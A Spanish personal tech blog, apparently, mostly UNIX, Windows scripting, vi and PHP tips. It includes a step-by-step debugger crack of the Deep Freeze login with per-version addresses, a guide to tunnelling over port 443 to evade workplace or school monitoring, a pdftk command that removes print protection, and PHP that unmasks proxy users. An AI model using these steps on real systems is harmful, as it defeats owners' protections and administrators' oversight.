Nada mejor que un editor de textos para producir paginas HTML/CSS.
Pero el 99% de las paginas de internet, si es que estan hechas en HTML y no en basuras tipo Flash, ASP y demas, estan hechas con programas de diseño web que SIEMPRE dejan basura, y jamas podran generar un HTML limpio, elegante y optimizado hecho a conciencia con un editor de textos.
Por ejemplo. Una simple tabla hecha con el Word puede ser tal que asi:
<td class=xl261 style='border-top:none' x:num x:fmla="=(E77*7+F77*7)">vlan7</td>
Bien. Abramos
vi, y en modo comando escribimos:
:%s//<td>/g
Resultado:
<td>vlan7</td>
Como debe ser.
trickle: Limitar el ancho de banda en programas Linux que no lo permitan
Siempre que tengo que mover backups utilizo sftp. En ocasiones esos backups ocupan del orden de GB, y sftp no tiene opcion para limitar el ancho de banda que queremos que ocupe. Una solucion elegante para limitar el ancho de banda de programas que no permitan configurar esto por si mismos, es usar trickle. Esta en el Portage de Gentoo y su uso es muy sencillo. Para limitar la velocidad de subida usamos el parametro -u y para limitar la de bajada usamos -d . Por ejemplo: trickle -d 77 -u 27 sftp vlan7@servidor.com
Recuperar archivos borrados
Recuva es freeware y es ya un proyecto maduro que da muy buenos resultados.
Borrar la informacion de archivos en el espacio libre en disco para dificultar su recuperacion
De la pagina de Eraser: Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP, Windows 2003 Server and DOS. Eraser is Free software and its source code is released under GNU General Public License.
The patterns used for overwriting are based on Peter Gutmann's paper "Secure Deletion of Data from Magnetic and Solid-State Memory" and they are selected to effectively remove magnetic remnants from the hard drive.
Other methods include the one defined in the National Industrial Security Program Operating Manual of the US Department of Defence and overwriting with pseudorandom data. You can also define your own overwriting methods.He intentado recuperar datos con una de mis herramientas favoritas para ello: Recuva, y no he podido. Lo cual me hace pensar que Eraser es bueno.
Bit Torrenet 0.1.11 Por mi amigo chanchi
Mi amigo chanchi me manda un mail diciendome: Hola vlan7,
Aqui va mi version 11 dias despues, quizas pase el visto bueno del profesor
chanchiPodeis descargarlo de AQUIMuchas gracias chanchi por enriquecer una vez mas mi blog con un programa avanzado :)
Apatch: Haz mas ligero tu MSN Messenger
Estaba yo chateando en el IRC con mi amiga Kela y la conversacion en un punto fue tal que asi: vlan7: -Nena, tienes 2 procesos del messenger corriendo, ¿los tienes en la misma maquina? Kela: Si. vlan7: ¿Y como lo has conseguido? Kela: http://apatch.org/index.phpvlan7: Voy a mirar. (pasa el tiempo) vlan7: Uau nena, eso es un hack! No solo puedes correr mas de una instancia del messenger, sino que ademas puedes quitar mucha mierda que trae el messenger! Kela: :)
Bit Torrenet 0.1.1 Por mi amigo chanchi
Mi amigo chanchi se ha currado como Proyecto de Fin de Carrera un cliente BitTorrent. Me envia un mail diciendome: Hola vlan7,
Bueno llevaba 31 dias programando (versión 0.0.31), hoy es el dia 32, versión 0.1.1.
Va muy lento mi programa y cualquier cliente bitTorrent cutre se pone a maxima velocidad y te chupa todo el ancho de banda. Tengo que investigar que pasa.
El tutor del proyecto muy bien, me hablo de sustituir System.out.println por una clase llamada Salida que escribiese por consola, fichero o textarea de la ventana.
Tambien me dijo de hacer herencia para no repetir codigo en 3 clases que tengo para tres controles de interfaz JTable
Me hablo de hacer una clase Idioma, y de hacer un fichero de preferencias, un (*.propierties) que maneja muy bien el JAVA donde almacenar cosas como las opciones de los menus: host/puerto PROXY, puerto que acepta conexiones, directorio de compartidos/download.
Así que tengo que hacer los siguiente:
- Mejorar la velocidad de download - Abro muchos sockets de golpe, muchas conexiones y se pierden por TIMEOUT muchas, tengo que poner un limite de conexiones por segundo antes de hacer el HANDSHAKE. - Poner limite de UPLOAD en KB para que pueda hacer mas peticiones de datos y mejorar mi velocidad DOWNLOAD - Meter IDIOMA - Meter clase Salida con metodos que escriban en fichero/consola segun tu decidas - Meter fichero que guarde la configuracion .propierties
Muchas gracias por ayudarme con crear una INSTALACION para mi programa. Dentro de 15 dias cuando este mas descargado de trabajo te pido ayuda con el programa adminstudio.(me ofreci a crearle un instalador con Adminstudio) Tambien me hablo del JAVADOC y de como comentar los metodos JAVA para generar documentacion con el JAVADOC que luego se pasa a WORD con el Rose/Enterprise Architect que son aplicaciones de Metodología UML.
Mi amigo de birras de hace ya 20 años que es mi Tutor (ya hizo la tesis y es doctor) tiene mi misma edad, estudiamos desde EGB hasta la carrera juntos.
Fue muy positivo, y me dijo que los alumnos de la media estan los 3 años programando en JAVA y que yo llevaba 10 años sin programar. Que hace dos meses no sabia lo que era un try{ } Catch (Excepction e) {}
Y bueno me dijo tb que habia que observar mis circunstancias que yo sali de la carrera hace 8 años. vlan7, yo te digo que le saque muy poca rentabilidad economica a todos los creditos de las casi 40 asignaturas anuales que aprobe. Hay gente que con la carrera y un poco mas se gana la vida sin ser cientificos, solo programadores del monton.
Tambien me dijo que en la de 3 años hay gente que presenta como proyecto cosas de Gestion (Bibliotecas, Video-clubs), un monton de gente haciendo portales o carritos de la compra. Que se repetian proyectos. Creo que nadie hizo un BitTorrent en la carrera superior o media. No es que sea muy complejo pero bueno las comunicaciones hay que sincronizarlas, es mas dificil la inteligencia artificial o andar haciendo compiladores/traductores. Pero bueno tiene un punto mas de dificultad que la gestion o la programación WEB. Aunque ahora andan con el AJAX alguna gente haciendo virguerias en WEB.
Bueno a ver si dentro de 1 mes ya tenemos programita rapido, con opciones, que maneje varios Torrentes a la vez y que tenga instalacion.Asi me gusta chanchi, el baudio es nuestro tio... Y de la instalacion me encargo yo chanchi, cuenta conmigo :) Dentro de 15 dias te paso otra version mas eficiente, si quieres los .java vienen dentro de JAR. Desde el directorio java\jdk-> jar xf BJBTBeta.jar
Saludos chanchiMuchas gracias chanchi por permitirme poner tu cliente de BitTorrent y asi elevar el nivel de mi blog personal. Seguimos en contacto amigo. Os podeis bajar el .JAR de aqui: BJBTBeta.jar
Notepad++ & WinVI
Mis editores de texto favoritos para Windows: Notepad++ (en el momento de escribir esto van por la version 4.6, con fecha del 17-Nov-2007) WinVI (en el momento de escribir esto van por la version 2.98 beta, con fecha del 23-Oct-2007) Que lo disfruteis.
Imprimir un PDF protegido contra impresion
Todos nos hemos encontrado alguna vez con PDFs que tienen deshabilitada la opcion de imprimir. Podemos usar la herramienta Pdftk para generar PDFs sin restriccion de impresion. pdftk no_imprimible.pdf cat output imprimible.pdf
Guia rapida Windows Script Technologies (II)
Aqui va la segunda parte de tecnicas de scripting en Windows, cubriendo ademas de VBScript, WSH y demas. Esta hecho por mi compañero de trabajo Jovi. Podeis bajar esta segunda parte de Aqui
Guia rapida Windows Script Technologies (I)
Mi compañero de trabajo Jovi se ha currado este PDF explicando brevemente el scripting en Windows. Es la primera parte y podeis bajarlo de Aqui
Script VBScript que da info de la/s NIC/s
Mi compañero de trabajo Jovi se ha currado este script en VBScript que nos da info de la/s tarjeta/s de red que tengamos instaladas en el equipo. He numerado las lineas, pues son demasiado largas y se cortan. Ahi va: 1 Set oNICs = GetObject("winmgmts:") 1 Set colNICs = oNICs.InstancesOf("Win32_NetworkAdapter")
3 For Each oNIC in colNICs 4 Wscript.Echo "*****Name: " & oNIC.Name 5 Wscript.Echo "AdapterType: " & oNIC.AdapterType 6 Wscript.Echo "AutoSense: " & oNIC.AutoSense 7 Wscript.Echo "Availability: " & oNIC.Availability 8 Wscript.Echo "Caption: " & oNIC.Caption 9 Wscript.Echo "ConfigManagerErrorCode: " & oNIC.ConfigManagerErrorCode 10 Wscript.Echo "ConfigManagerUserConfig: " & oNIC.ConfigManagerUserConfig 11 Wscript.Echo "CreationClassName: " & oNIC.CreationClassName 12 Wscript.Echo "Description: " & oNIC.Description 13 Wscript.Echo "DeviceID: " & oNIC.DeviceID 14 Wscript.Echo "ErrorCleared: " & oNIC.ErrorCleared 15 Wscript.Echo "ErrorDescription: " & oNIC.ErrorDescription 16 Wscript.Echo "Index: " & oNIC.Index 17 Wscript.Echo "InstallDate: " & oNIC.InstallDate 18 Wscript.Echo "Installed: " & oNIC.Installed 19 Wscript.Echo "LastErrorCode: " & oNIC.LastErrorCode 20 Wscript.Echo "MACAddress: " & oNIC.MACAddress 21 Wscript.Echo "Manufacturer: " & oNIC.Manufacturer 22 Wscript.Echo "MaxNumberControlled: " & oNIC.MaxNumberControlled 23 Wscript.Echo "MaxSpeed: " & oNIC.MaxSpeed 24 Wscript.Echo "NetworkAddresses: " & oNIC.NetworkAddresses 25 Wscript.Echo "PermanentAddress: " & oNIC.PermanentAddress 26 Wscript.Echo "PNPDeviceID: " & oNIC.PNPDeviceID 27 Wscript.Echo "PowerManagementCapabilities: " & oNIC.PowerManagementCapabilities 28 Wscript.Echo "PowerManagementSupported: " & oNIC.PowerManagementSupported 29 Wscript.Echo "ProductName: " & oNIC.ProductName 30 Wscript.Echo "ServiceName: " & oNIC.ServiceName 31 Wscript.Echo "Speed: " & oNIC.Speed 32 Wscript.Echo "Status: " & oNIC.Status 33 Wscript.Echo "StatusInfo: " & oNIC.StatusInfo 34 Wscript.Echo "SystemCreationClassName: " & oNIC.SystemCreationClassName 35 Wscript.Echo "SystemName: " & oNIC.SystemName 36 Wscript.Echo "TimeOfLastReset: " & oNIC.TimeOfLastReset 37 Wscript.Echo " ****************************** " 38 Wscript.Echo " " 39 Next
Fascinacion por los aparatos
Para un ingeniero, todas las cosas del universo pueden clasificarse dentro de dos categorias: 1. Cosas que necesitan ser arregladas. 2. Cosas que necesitaran ser arregladas o mejoradas despues de haber jugado unos minutos con ellas. A los ingenieros les gusta resolver problemas, si no hay problemas a mano, los crean. La gente normal no entiende este concepto, ellos piensan que si no esta roto no hay necesidad de arreglarlo. Los ingenieros creen en cambio que si no esta roto aun no tiene suficientes caracteristicas. Ningun ingeniero mira un control remoto de TV sin imaginarse como podría convertirse en un arma laser. Ningun ingeniero toma una ducha sin pensar que podría haber algun tipo de cubierta de teflon que hiciera innecesario ducharse. Para el ingeniero, el mundo es una caja llena de juguetes pobremente construidos.
El manifiesto del hacker
Hoy han cogido a otro, aparece en todos los periodicos. "Joven arrestado por delito informatico", "hacker arrestado por irrumpir en un sistema bancario". "Malditos crios. Son todos iguales". ¿Pero pueden, con su psicologia barata y su cerebro de los años cincuenta, siquiera echar un vistazo a lo que hay detras de los ojos de un hacker? ¿Se han parado alguna vez a pensar que es lo que les hace comportarse asi, que les ha convertido en lo que son? Yo soy un hacker, entre en mi mundo. Mi mundo comienza en el colegio. Soy mas listo que el resto de mis compañeros, lo que enseñan me parece muy aburrido. "Malditos profesores. Son todos iguales". Puedo estar en el colegio o un instituto. Les he oido explicar cientos de veces como se reducen las fracciones. Todo eso ya lo entiendo. "No, Sr. Smith, no he escrito mi trabajo. Lo tengo guardado en la cabeza". "Malditos crios. Seguro que lo ha copiado. Son todos iguales". Hoy he descubierto algo. Un ordenador. Un momento, esto mola. Hace lo que quiero que haga. Si comete errores, es porque yo le he dicho que lo haga. No porque yo no le guste, me tenga miedo, piense que soy un listillo o no le guste ni enseñar ni estar aqui. Malditos crios. A todo lo que se dedican es a jugar. Son todos iguales. Entonces ocurre algo... se abre una puerta a un nuevo mundo... todo a traves de la linea telefonica, como la heroina a traves de las venas, se emana un pulso electronico, buscaba un refugio ante las incompetencias de todos los dias... y me encuentro con un teclado. "Es esto... aquí pertenezco...". Conozco a todo mundo... aunque nunca me haya cruzado con ellos, les dirigiese la palabra o escuchase su voz... los conozco a todos... malditos críos. Ya esta enganchado otra vez al telefono. Son todos iguales... puedes apostar lo quieras a que son todos iguales... les das la mano y se toman el brazo... y se quejan de que se lo damos todo tan masticado que cuando lo reciben ya ni siquiera tiene sabor. O nos gobiernan los sadicos o nos ignoran los apaticos. Aquellos que tienen algo que enseñar buscan desesperadamente alumnos que quieran aprender, pero es como encontrar una aguja en un pajar. Este mundo es nuestro... el mundo de los electrones y los interruptores, la belleza del baudio. Utilizamos un servicio ya existente, sin pagar por eso que podria haber sido mas barato si no fuese por esos especuladores. Y nos llamais delincuentes. Exploramos... y nos llamais delincuentes. Buscamos ampliar nuestros conocimientos... y nos llamais delincuentes. No diferenciamos el color de la piel, ni la nacionalidad, ni la religion... y vosotros nos llamais delincuentes. Construis bombas atómicas, haceis la guerra, asesinais, estafais al pais y nos mentis tratando de hacernos creer que sois buenos, y aun nos tratais de delincuentes. Si, soy un delincuente. Mi delito es la curiosidad. Mi delito es juzgar a la gente por lo que dice y por lo que piensa, no por lo que parece. Mi delito es ser mas inteligente que vosotros, algo que nunca me perdonareis. Soy un hacker, y este es mi manifiesto. Podeis eliminar a algunos de nosotros, pero no a todos... despues de todo, somos todos iguales. The Mentor. 08/01/1986
Adminstudio ACEs
Un PDF mas de mi compañero de trabajo Julio, Industrializador de aplicaciones, con un buen resumen de los distintos ACEs de la suite Adminstudio. Podeis bajarlo de aqui: Adminstudio ACEs
Adminstudio Repackager
Un PDF mas de mi compañero de trabajo Julio, Industrializador de aplicaciones, con un buen resumen de la utilidad Repackager de la suite Adminstudio. Podeis bajarlo de aqui: Adminstudio Repackager
Installshield Scripting
Otro PDF de mi compañero de trabajo Julio, Industrializador de aplicaciones, con un buen resumen del scripting de Installshield de la suite Adminstudio. Podeis bajarlo de aqui: IS Scripting
Adminstudio. Diagrama general
Mi compañero de trabajo Julio, Industrializador de Aplicaciones, se ha currado este PDF que sintetiza mediante diagramas de una forma muy clara los pasos a seguir para industrializar una aplicacion en Adminstudio. Subire estos dias mas documentos PDF de Adminstudio, y tambien de scripting con VBScript y WSH, pues tengo muy buena relacion con mis compañeros industrializadores. Sobre scripting hay mucha info en la www, pero la info sobre Adminstudio es muy escasa, por no decir casi nula, y en castellano nada, asi que creo que son documentos muy preciados. Podeis descargaros la version 1.0 del PDF de aqui: Adminstudio - Diagrama General.pdf
Petition to Open Source CDE and Motif
¿Te gusta tanto el escritorio CDE de UNIX como a mi? ¿Quieres evitar la inminente muerte de CDE? Hacer CDE Open Source es la unica forma de que CDE continue vivo. Yo quiero CDE en Solaris 11. "As a user - or former or potential user - of the Common Desktop Environment (CDE) I believe there would be a benefit to releasing the source code to CDE and the Motif library under an OSI approved licence. I humbly request that you, The Open Group, investigate this possibility and use your best efforts to accomplish this goal."http://marutan.net/cde/
¿Es necesario el espacio swap si tenemos mucha RAM?
Un comentario hecho por Anonimo en mi entrada Ampliar tamaño swap (II) me ha hecho escribir este post. Anonimo me comentaba que habia leido que no era necesaria una particion swap si disponemos de 2 GB de RAM, a lo que yo le conteste lo siguiente: Todo depende del uso que vayas a hacer de la maquina. Yo he "jugado" con varias distros de linux sin swap con 768MB de RAM, y no he tenido ningun problema.
De hecho, hasta donde yo se, todas las live-CD funcionan sin swap.Pues bien, a mi se me ocurre al menos un caso en el que nos interese tener swap aunque dispongamos de 2GB de RAM. Si no tienes espacio swap, y digo espacio y no particion, pues la swap puede residir en un archivo, no podras hibernar el sistema. Con hibernar me refiero a suspender a disco, no solo suspender a secas. Suspender a disco supone grabar en el disco la imagen de la memoria, y apagar todos los elementos del ordenador, por lo que en gasto de energia es igual que si lo apagases, no gasta nada. Suspender, a secas, lo que hace es suspender a ram, y eso si que gasta energía, aunque poca, siendo algo mas lento que un reinicio. Casi todos los portátiles suspenden bien a ram con Linux, y algunos lo hacen a disco, aunque haya que hacer algun hack. Si no parcheamos el kernel y lo recompilamos, hoy por hoy solo se puede hibernar (suspender a disco) con una partición swap, usando swsusp, de serie en todos los kernel > 2.6. Si lo parcheamos usando suspend2, que es una version mas evolucionada podremos suspender a disco en un archivo, y muchas otras cosas como cifrado, compresion de la imagen guardada... De hecho existe un paquete por ahi, llamado dphys-swapfile que contiene un script que lo que hace es crear y activar un archivo swap al arrancar, de un tamaño apropiado para nuestro sistema. La ventaja de que se cree dinamicamente es que la swap sera automaticamente cambiada de tamaño si aumentamos la RAM del equipo, sin necesidad de que nos acordemos de hacerlo manualmente. Asi que, aunque tengamos 2GB de RAM puede seguir interesandonos tener swap, bien en una particion, bien en un archivo.
Rebobinar rapido una cinta en UNIX
Tradicionalmente en UNIX el rebobinado de una cinta en /dev/rmt/0cbn por ejemplo siempre nos enseñaron a hacerlo asi: mt -f /dev/rmt/0cbn rewindPero existe un hack poco conocido para rebobinar mas rapido nuestras cintas. Lo unico que necesitamos para forzar al sistema para que rebobine la cinta es redirigir el dispositivo de cinta a absolutamente nada: < /dev/rmt/0cbn
Ampliar tamaño SWAP (II)
¿Necesitas mas swap de la que tienes? Creamos un archivo swap en la particion /disk7 mkfile 200m /disk7/swap_200MBConvertimos el archivo de swap en la swap activa del sistema: Irix: swap -a /disk7/swap200MBHP-UX, SunOS: swapon -a /disk7/swap200MBSi reiniciamos la maquina, el archivo de swap seguira ahi, pero tendremos que activarlo de nuevo con swap o swapon. Para hacer el cambio permanente, entrada en /etc/fstab o /etc/vfstab segun el UNIX: disk7/swap200MB swap swap rw 0 0
fsuser en vez de ps
Lo que normalmente hariamos para terminar un proceso, por ejemplo bash seria algo como: # ps -ef |grep bash
root 1484 1485 1 17:54:02 pts/1 0:00 /bin/bash root 1116 1117 1 17:54:16 pts/1 0:00 grep bash root 1090 1091 0 Oct 23 pts/2 0:00 /bin/bash
# kill -9 1484 1090Podriamos haber hecho: # fsuser -k /bin/bash /bin/bash: 1485t 1106tSi tenemos multiples procesos asociados con uno especifico que ejecutamos en nuestro ambiente, podemos ejecutar un script que termine con todos ellos. Supongamos que tenemos una aplicacion llamada bsr que reside en /sbin con varios demonios que se ejecutan independiente de bsr, como bsrqqd, bsrexecd y bsrojbd. Un script rapido para finalizar toda la aplicacion con fsuser: #/bin/sh
fsuser -k /sbin/bsr fsuser -k /sbin/bsrqqd fsuser -k /sbin/bsrexecd fsuser -k /sbin/bsrojbd
Navegar anonimamente desde tu trabajo o centro de estudios
Cualquier administrador decente tendra implementado un sistema de logs para saber que paginas visita cada usuario. Si no quieres que desde tu trabajo o universidad o instituto sepan que paginas visitas, o si quieres acceder a webs sin restricciones, puede que con este hack puedas burlar los controles del administrador. Primero necesitaras la IP publica de tu casa y de tu trabajo/facultad. Ve a http://www.whatismyip.com y apunta esas 2 IPs. En tu casaInstala Apache desde esta pagina si usas windows. Si usas Gentoo Linux o Debian-like GNU/Linux instala Apache asi: emerge apache2 apt-get install apache2respectivamente. Instala OpenSSH. Si usas Windows, ve a http://sshwindows.sourceforge.net/Si usas Gentoo Linux o Debian-like GNU/Linux: emerge openssh apt-get install opensshPasemos a configurar Apache y OpenSSH: Apache. Edita el httpd.conf: Quita el comentario # a las lineas: LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_connect_module modules/mod_proxy_connect.so LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule proxy_ftp_module modules/mod_proxy_ftp.soCambia la linea Listen 80por Listen 8080Luego para que solo tu puedas usar tu proxy, busca la seccion # # Controls who can get stuff from this server. # Order allow,deny Allow from ally cambiala por # # Controls who can get stuff from this server. # Order deny,allow Deny from all Allow from 127.0.0.1Por ultimo en la seccion de VirtualHost añade lo siguiente: <IfModule mod_proxy.c> ProxyRequests On <Proxy *> Order deny,allow Deny from all Allow from 127.0.0.1 </Proxy>
# If you plan to use mIRC, uncomment the following line #AllowCONNECT 6666 6667 6668 </IfModule>OpenSSH: Tanto en Windows como en Linux cambiaremos el puerto por defecto 22 por el 443. Esto lo haremos porque el administrador puede haber filtrado y prohibido el puerto 22, pero no el 443, que es el usado para conexiones https. En Windows cambia en el archivo etc\sshd_config a partir de donde tengas instalado OpenSSH: la linea #Port 22por Port 443En UNIX/Linux, lo mismo pero teniendo en cuenta que el archivo de configuracion cuelga de /etc En Windows aun tenemos que ir al directorio bin desde donde tengamos instalado OpenSSH y ejecutar estos comandos: mkgroup -l > ..\etc\group mkpasswd -l > ..\etc\passwdCon esto crearemos user/pass en etc Para iniciar los servicios en Windows: net start opensshd net stop apache2.2 net start apache2.2Si queremos que ambos servicios se ejecuten al inicio, ejecutaremos services.msc y los configuraremos en Automatico. Para iniciar los servicios en Linux: /etc/init.d/openssh restart /etc/init.d/apache2 restartPara añadirlos al inicio en Gentoo Linux: rc-update add openssh default rc-update add apache2 defaultEn otros UNIX/Linux, configurar /etc/rc.d En el router redirigir el puerto 443 con NAT+PAT a la IP del equipo de casa puerto 443. Ya tenemos configurado nuestro equipo de casa. Ahora en el trabajo necesitaremos el Putty si usamos Windows: putty -L 80:127.0.0.1:8080 -ssh IP_Casa -P 443Con esto habremos creado un tunel SSH entre el ordenador del trabajo y el de casa. Si no tienes privilegios para guardar el putty en el disco duro, llevalo en un diskette o en un CD. Es solo un ejecutable que no necesita instalacion. Solo nos falta decirle al navegador que use como proxy 127.0.0.1 puerto 80. El hack funcionara asi: En el trabajo pedimos una pagina web. Nos conectaremos por el tunel SSH al router de nuestra casa. El router de nuestra casa redirigira la peticion a nuestro ordenador de la LAN de casa al puerto 443, donde tenemos a OpenSSH escuchando. OpenSSH redirige la peticion al servidor Apache del ordenador de casa. Apache pide la pagina web. Sale la peticion por nuestro router de casa. Nuestro router de casa devuelve la peticion al servidor Apache que corre en nuestro ordenador de casa. Apache pasa la peticion al servidor OpenSSH de nuestro ordenador de casa. Este manda la peticion a nuestro ordenador del trabajo a traves de nuestro router de casa. Nuestro ordenador del trabajo recibe la peticion y el navegador de nuestro ordenador del trabajo nos muestra la pagina. Y el administrador cuando vea los logs no sabra que paginas hemos visitado, solo podra ver que hemos hecho peticiones a un puerto 443, y todo el contenido le saldra cifrado, por lo que no entendera nada. Ya hemos ganado al administrador. Maybe you can't break the system, but you can always hack it
Bloqueador de consola en UNIX
En Linux: $ vlock This TTY is now locked. Please enter the password to unlock. vlan7's Password:En FreeBSD: Con el comando lock se nos pedira una contraseña, confirmacion, y esa sera la contraseña que tendremos que usar para desbloquear el terminal. $ lock Key: Again: lock: /dev/ttyp0 on fbsd6.probador.in. timeout in 15 minutes. time now is Tue Oct 18 17:57:07 IST 2007 Key:En UNIX Solaris: Tenemos el comando lock como en FreeBSD, pero por defecto sin timeout. Si queremos especificar un timeout, usaremos el switch -t
Resetear terminal VT100 (II)
En la primera parte mostraba un programa en C para poder resetear cualquier terminal VT100 cuando la pantalla se llenara de basura. atrapado me dejo un comentario diciendo que lo mismo se conseguia con el comando resetPues bien, si nada de esto funciona, aun hay otra manera de hacerlo en UNIX. Y es con el comando siguiente: stty sane
Pasar TXTs de DOS a UNIX
En DOS o Windows los archivos de texto plano usan como intro 2 caracteres: CR+NL (Carriage Return + New Line) y UNIX usa solo el caracter NL. Es por ello por lo que al editar archivos de texto plano de DOS/Windows vemos caracteres extraños ^M , que no es ni mas ni menos que el CR. Para quitar esta basura en vi/vim: :%s/\r$//
Hackeando (crackeando) Deep Freeze
Deep Freeze usa un metodo unico de proteccion para preservar el estado original exacto de una maquina corriendo Windows o Macintosh. Dicen los chicos de Faronics, que son los desarrolladores de Deep Freeze: "Deep Freeze instantly protects and preserves baseline computer configurations. No matter what changes a user makes to a workstation, simply restart to eradicate all changes and reset the computer to its original state - right down to the last byte." Pero como decia Edgar Allan Poe en su obra "El escarabajo de oro", todo lo que una mente humana puede asegurar, otra mente humana puede violar. Hackeemos pues a Deep Freeze. Este proceso esta testeado para Windows 2000/XP, y versiones de Deep Freeze 4.20.020.0598, 4.20.120.0598, 4.20.121.0613, 5.20.220.1125 y 5.30.120.1181 Necesitaremos herramientas. Primero el Ollydbg. Yo empece en esto crakeando juegos viejos de MSDOS y creando virus en assembler para MSDOS, y siempre preferi Softice, pero Ollydbg se ha puesto de moda. Podemos bajarlo de http://www.ollydbg.de/Para parchear el programa, OllyscriptASPack 2.12 OEP finder script por hacnho/VCT2k4Y por ultimo el Process Explorer de los genios de sysinternals. Lo que haremos es cargar una nueva instancia del login de Deep Freeze y lo cambiaremos de tal forma que acepte cualquier password. Que empiece el juego. Lo primero que tenemos que hacer es encontrar datos que luego usaremos para cargar nuestra propia instancia del programa de login. Para esto usaremos Process Explorer. Una vez cargado, veremos una lista de todos los procesos que estan corriendo en nuestro sistema, entre ellos el proceso que controla el programa de login, llamado FrzState.exe o FrzState2k.exe. Seleccionemos las propiedades del proceso y se nos abrira una nueva ventana. Fijate en la pestaña Imagen donde pone command line. Quedate con esos ultimos 3 numeros. Los necesitaremos. Carguemos el Ollydbg previamente parcheado. Abre el ejecutable del proceso que vimos antes. En la parte que dice Arguments escribe esos 3 numeros (separados) que vimos con Process Explorer. Si te aparece un mensaje de advertencia dale a OK. Si nos aparece un mensaje que diga "Do you want to continue the code analysis?", diremos que "No". Ya tenemos el programa cargado. Sin embargo nuestro siguiente problema es que esta protegido con Aspack 2.12, por lo que no podemos ver el codigo real. No hay problema, usemos OllyScript y el script ASPack 2.12 OEP finder. Menu Plugins, submenu OllyScript y seleccionamos "Run Script". Selecciona el script y el solito encontrara el OEP (original entry point). Si nos sale alguna pantalla emergente, la descartamos. Fijemonos bien amigos, en este preciso momento estamos en el OEP. ¿Lo sentis? ¿Sentis esa sensacion que yo sentia a los 15 años cuando crakeaba juegos de msdos? Como dirian +ORC y sus alumnos de la HCU "we feel the code". Si sabes de assembler, te animo a que desensambles el codigo con OllyDump y lo analices. El juego continua, asi que pulsemos CTRL+C. Tenemos que introducir el numero de version de Deep Freeze. Bueno no, el numero de version no, tenemos que introducir un valor segun la siguiente tabla de pares version/valor: 4.20.020.0598 / 40368D 4.20.120.0598 / 40368D 4.20.121.0613 / 4034F5 5.20.220.1125 / 4037E9 5.30.120.1181 / 4037E9 Para los que no sepais de Ollydbg y os esteis preguntando que hemos hecho con eso, os respondere que simplemente hemos hecho un salto a esa linea de codigo, a esa instruccion, que como podreis observar es un CALL. Estamos cerca amigos. Esa instruccion CALL es precisamente la encargada de llamar a la subrutina encargada de verificar el password que introducimos en Deep Freeze. Pongamos aqui un breakpoint. Pulsemos F2. Estamos ya muy cerca. Ahora tenemos que ejecutar la nueva instancia del programa de login de Deep Freeze. F9. ¿Veis esos 2 iconos de DeepFreeze en la barra de tareas? Pues son las 2 instancias de Deep Freeze. ¿No los veis? Entonces significa que Deep Freeze esta configurado para no mostrarse en la barra de tareas, entonces vereis 2 espacios vacios. Activemos pues el nuevo programa de login, no el viejo! Doble click en el icono con la tecla MAYUS presionada. Introduce cualquier password y fijate en la magia, se activara el breakpoint que activamos en OllyDbg y el programa no llegara a entrar en la subrutina encargada del proceso de verificacion de login, estaremos parados justo en el CALL. Vayamos al OllyDbg. Pulsemos F8 para entrar en la subrutina. ¿Ves ese registro EAX con valor 0? Eso significa que no hemos introducido el password correcto. Bien, sigamos jugando. Cambiemoslo. Doble click en EAX y le hacemos creer que si hemos introducido el password correcto. En el campo hexadecimal escribimos un 1. Ya hemos ganado. Si quieres ver la recompensa, estas a una pulsacion de tecla de recibirla. Vamos, respira hondo, siente esa sensacion que sentia yo a los 15 años cuando crakeaba juegos de MSDOS :) Pulsa F9. Ahi esta. La pantalla de configuracion de Deep Freeze. "We feel the code" HCU "Work well" +ORC
Obteniendo datos de un visitante. Su nombre de host
<?php $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); if($hostname == ""){ $hostname = "no encontrado"; }; ?>
Obteniendo datos de un visitante. Su navegador
<?php if(!$_SERVER["HTTP_USER_AGENT"]){ $browser = "Desconocido"; }else{ $browser = $_SERVER["HTTP_USER_AGENT"]; } ?>
Obteniendo datos de un visitante y guardarlos en un archivo de texto
Mucha gente cree que para guardar logs de nuestros visitantes necesitamos tener alojada nuestra pagina en un servidor web como Apache, bien en nuestro equipo o en un servidor dedicado en el que tengamos acceso de root al servidor web para modificar la configuracion. Esta claro que asi tenemos muchas mas posibilidades, pero podemos implementar facilmente en PHP un sistema de logs sencillo. Por ejemplo, para guardar las IPs publicas de nuestros visitantes en el archivo ip.txt<?php if(getenv(HTTP_X_FORWARDED_FOR)) { $ip = getenv(HTTP_X_FORWARDED_FOR); } elseif(getenv(HTTP_CLIENT_IP)) { $ip = getenv(HTTP_CLIENT_IP); } else { $ip = $REMOTE_ADDR; } $txt = @fopen("ip.txt", "a"); fputs($txt, " IP:".$ip); fclose($txt); echo "Tu IP publica es: $ip"; ?>No tiene ningun misterio. Con $txt = @fopen("ip.txt", "a"); abrimos en modo append el archivo ip.txt. Con fputs($txt, " IP:".$ip); añadimos la IP a ese archivo de texto. Con fclose($txt); cerramos ese archivo de texto.
Obteniendo datos de un visitante. Su IP publica (II)
En el primer ejemplo veiamos una forma muy basica de obtener la IP publica de un visitante de nuestra web. ¿Pero que ocurre si nuestro visitante usa un proxy? Algunos proxies no son realmente anonimos, y mandan tu IP publica real en las cabeceras HTTP. Podemos aprovecharnos de ello leyendo estas cabeceras. <?php if(getenv(HTTP_X_FORWARDED_FOR)) { $ip = getenv(HTTP_X_FORWARDED_FOR); } elseif(getenv(HTTP_CLIENT_IP)) { $ip = getenv(HTTP_CLIENT_IP); } else { $ip = $REMOTE_ADDR; } echo "Tu IP publica es: $ip"; ?>Con este pequeño hack obtendremos la IP publica real de un visitante aun cuando use un pequeño porcentaje de proxies que no son realmente anonimos. Esto se puede mejorar mas, ya mostrare como obtener la IP publica real de un visitante aunque use un proxy que no envie la IP publica real en sus cabeceras HTTP. Incluso veremos un hack para saber la IP publica real de un visitante aunque use TOR+Privoxy. Sobre esto ultimo me he tenido que romper mucho la cabeza, pues googleando solo encuentras paginas que demuestran que es posible, pero ninguna que use Java (hay otros metodos como usar Flash que tambien comentare) como metodo de obtener la IP real aunque uses TOR+Privoxy te muestra como hacerlo.
Obteniendo datos de un visitante. Su IP publica
Una primera aproximacion seria: <?php echo "Tu IP publica es: $REMOTE_ADDR"; ?>
Ver modulos de Perl cargados en nuestro sistema
